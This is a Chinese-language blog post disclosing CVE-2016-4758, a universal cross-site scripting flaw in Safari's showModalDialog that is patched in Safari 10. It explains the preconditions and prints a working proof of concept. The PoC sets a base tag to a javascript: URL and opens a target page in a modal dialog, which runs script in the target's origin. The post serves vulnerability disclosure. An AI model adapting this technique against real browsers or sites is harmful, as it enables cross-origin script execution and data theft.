Safari的showModalDialog UXSS漏洞分析(CVE-2016-4758)

本文详细分析了Safari浏览器中showModalDialog方法存在的通用跨站脚本漏洞(CVE-2016-4758),包括攻击条件、漏洞原理和实际利用方式。该漏洞会导致恶意网站窃取敏感数据,已在Safari 10中修复。

CVE-2016-4758:Safari的showModalDialog UXSS漏洞

我想分享关于Safari的UXSS漏洞(CVE-2016-4758)的详细信息。该漏洞已在Safari 10中修复。

https://support.apple.com/en-us/HT207157

WebKit 适用版本:OS X Yosemite v10.10.5、OS X El Capitan v10.11.6和macOS Sierra 10.12 影响:访问恶意制作的网站可能会泄露敏感数据 描述:处理location变量时存在权限问题。通过额外的所有权检查解决了此问题。 CVE-2016-4758:Cure53的Masato Kinugawa 请注意,移动版Safari不易受攻击,因为它没有showModalDialog方法。

攻击前提条件

要利用此漏洞进行攻击,我们需要两个条件:

  1. 目标页面使用JavaScript导航到相对URL(例如:location="/"window.open("/","_blank")
  2. 该导航在页面加载完成后执行

我创建了满足条件的页面:

https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html

1
2
3
4
5
6
<script>
function go_top(){
 location="/index.html";
}
</script>
<button onclick=go_top()>Top Page</button>

此页面的唯一目的是在用户点击"Top Page"按钮时导航到https://vulnerabledoma.in/index.html。 我认为到处都有这样的页面。但利用此漏洞,我们可以在此条件下进行XSS攻击。

漏洞详情

现在,让我们使用showModalDialog方法。

以下页面仅在模态对话框中打开目标页面:

https://l0.cm/safari_uxss_showModalDialog/example.html

1
2
3
4
5
6
<script>
function go(){
 showModalDialog("https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>

当我们在模态对话框中点击"Top Page"按钮时会发生什么?不用说,我们会转到https://vulnerabledoma.in/index.html。但Safari的行为不同。令人惊讶的是,Safari导航到了https://l0.cm/index.html。显然,Safari错误地将父窗口的基础URL当作了模态窗口的基础URL。

开发XSS攻击

根据html5sec.org #42,Safari允许将javascript: URL设置到base标签。因此,我认为如果我在父页面中将javascript: URL设置到base标签,可能能够实现XSS。

我的假设是正确的。这是最终的PoC:

https://l0.cm/safari_uxss_showModalDialog/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>
<base href="javascript://%0Aalert%28document.domain%29%2F/">
</head>
<body>
<script>
function go(){
 showModalDialog("http://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
</body>
</html>

如果一切顺利,当你点击"Top Page"按钮时,可以看到一个警告对话框,如下面的截图所示:

[截图位置]

耶!

结论

我写了关于Safari的UXSS漏洞。我于2015年6月15日报告了此漏洞。在我报告后,此漏洞在WebKit中存在了超过一年。

如果我找到有趣的漏洞,我会再次分享:D谢谢!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计